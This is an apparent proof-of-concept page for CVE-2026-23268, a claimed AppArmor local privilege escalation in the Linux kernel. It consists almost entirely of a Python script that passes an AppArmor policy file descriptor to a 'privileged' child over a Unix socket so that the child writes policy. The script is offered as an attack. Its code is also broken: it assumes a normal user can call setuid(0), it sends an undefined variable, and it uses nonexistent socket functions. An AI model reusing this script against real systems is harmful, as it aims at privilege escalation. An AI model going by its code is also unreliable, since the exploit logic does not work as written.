CVE-2026-23268: Linux内核AppArmor本地权限提升漏洞

# CVE-2026-23268 PoC - AppArmor Confused Deputy Attack # This PoC demonstrates the confused deputy attack against AppArmor policy interface import os import sys import socket import struct def find_apparmorfs_interface(): """Locate AppArmor securityfs interface""" apparmor_paths = [ '/sys/kernel/security/apparmor', '/security/apparmor', '/sys/fs/apparmor' ] for path in apparmor_paths: if os.path.exists(path): return path return None def exploit_confused_deputy(): """ Exploit the AppArmor confused deputy vulnerability: 1. Low-privilege user opens AppArmor policy interface 2. Pass the fd to a privileged process via Unix socket SCM_RIGHTS 3. Privileged process writes to the interface on behalf of attacker """ interface_path = find_apparmorfs_interface() if not interface_path: print('[-] AppArmorfs interface not found') return False # Step 1: Open policy interface as low-privilege user policy_file = os.open( f'{interface_path}/.null', os.O_RDWR ) print(f'[+] Opened policy interface fd: {policy_file}') # Step 2: Create Unix domain socket for fd passing sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock_path = f'/tmp/exploit_sock_{os.getpid()}' try: sock.bind(sock_path) sock.listen(1) # Step 3: Fork privileged helper process pid = os.fork() if pid == 0: # Child: privileged process os.setuid(0) # Assume root privileges conn, _ = sock.accept() # Receive file descriptor fds = socket.recmsg_fds(conn, 1) if fds: malicious_fd = fds[0] # Step 4: Write malicious policy (confused deputy) malicious_policy = b'profile test { }' os.write(malicious_fd, malicious_policy) print('[+] Privileged process wrote malicious policy') conn.close() sys.exit(0) else: # Parent: send fd to privileged process socket.sendmsg_fds(sock, b'EXECUTE', [malicious_fd]) os.waitpid(pid, 0) finally: os.close(policy_file) sock.close() os.unlink(sock_path) return True if __name__ == '__main__': print('[*] CVE-2026-23268 AppArmor Confused Deputy Attack') print(f'[*] Current UID: {os.getuid()}') exploit_confused_deputy()